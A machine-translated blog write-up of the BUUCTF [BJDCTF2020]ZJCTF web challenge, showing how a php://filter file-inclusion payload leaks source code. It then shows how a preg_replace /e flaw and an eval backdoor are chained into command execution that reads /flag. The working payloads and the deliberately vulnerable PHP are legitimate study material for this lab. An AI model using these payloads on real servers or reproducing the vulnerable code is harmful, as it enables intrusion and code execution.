当前位置:网站首页>Buuctf Web [bjdctf2020] zjctf, but so
Buuctf Web [bjdctf2020] zjctf, but so
2022-04-23 12:33:00 【Y1Daa】
BUUCTF WEB [BJDCTF2020]ZJCTF, nothing more than this
-
Get the source code after entering the environment
<?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>
-
Use PHP Pseudo protocol construction payload
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
The echo
PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K
base64 Decrypt
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
-
You can see here cmd There is a command execution vulnerability in parameter , But the question is how to call getFlag() function . This involves preg_replace /e Pattern code execution vulnerability
function complex($re, $str) { return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; }
if payload by
/?.*={${phpinfo()}}
be
Original statement : preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value); It becomes a statement : preg_replace('/(.*)/ei', 'strtolower("\\1")', { ${ phpinfo()}});
Be careful : Add... To both sides of regular expression pattern or partial pattern
()
Store the string that causes the match in the temporary buffer , Buffer number from 1 Start , Maximum storage 99 Sub expression . Each buffer can be used\n
visit , among n Number the buffer .preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
It will put{${phpinfo()}}
Store to buffer 1, At this time, the matched string is/(\\1)/ei
,\\1
namely\1
, This will cause the contents of the backreference buffer , Change it to/{${phpinfo()}}/ei
, This causes the command to execute . -
In the subject ,PHP Will send the incoming illegal
$_GET
Array parameter names are converted to underscores , the.*
Turn into_
. You can modify payload by?\S*=${getFlag()}&cmd=...
among
\S
Means to match any non whitespace character , So that we can call getFlag The purpose of the function -
structure payload
?\S*=${getFlag()}&cmd=system('cat /flag');
The echo
flag{6b53cc7c-e9e8-47a1-80ed-10ca16c81ae5} system('cat /flag');
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204231227159478.html
边栏推荐
- 【Redis 系列】redis 学习十三,Redis 常问简单面试题
- MySQL函数-递归函数
- The maximum number of remote desktop servers has been exceeded
- Dialogue with Bruce, author of PostgreSQL: "changing careers" is to better move forward
- Fastjson 2 is coming, the performance continues to improve, and it can fight for another ten years
- QT draw text
- A graphic designer's fantasy world | ones characters
- 网络信息安全之零信任
- Flash project cross domain interception and DBM database learning [Baotou cultural and creative website development]
- BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此
猜你喜欢
XinChaCha Trust SSL Organization Validated
IDEA 中 .properties文件的中文显示乱码问题的解决办法
智能多线弹性云增加独立的IP地址,如何实现多线功能?
免费试用一个月的服务器,并附上教程
Zero trust in network information security
Qt绘制文字
IDEA设置版权信息
After a circle, I sorted out this set of interview questions..
The maximum number of remote desktop servers has been exceeded
论文解读(CGC)《CGC: Contrastive Graph Clustering for Community Detection and Tracking》
随机推荐
MySQL函数-递归函数
论文解读(CGC)《CGC: Contrastive Graph Clustering for Community Detection and Tracking》
如何防止网站被黑客入侵篡改
智能多线弹性云增加独立的IP地址,如何实现多线功能?
How do programmers finalize nucleic acid statistics with 130 lines of code
Lesson 24 analysis of classical problems
Uni app native app cloud packaging integrated Aurora push (jg-jpush) detailed tutorial
Qt进程间通信
Stacks and queues a
Qt双缓冲绘图
[unity note] basic lighting in l4unity
IDEA设置版权信息
31岁才转行程序员,目前34了,我来说说我的经历和一些感受吧...
Markdown语法学习
SQLserver怎么插入或更新当天的星期数,bit而不是文本
NPDP|产品经理如何做到不会被程序员排斥?
异步时钟亚稳态 的解决方案——多bit信号
Database Navigator 使用默认MySQL连接提示:The server time zone value ‘Öйú±ê׼ʱ¼ä’ is unrecognized or repres
解锁OpenHarmony技术日!年度盛会,即将揭幕!
What is a gateway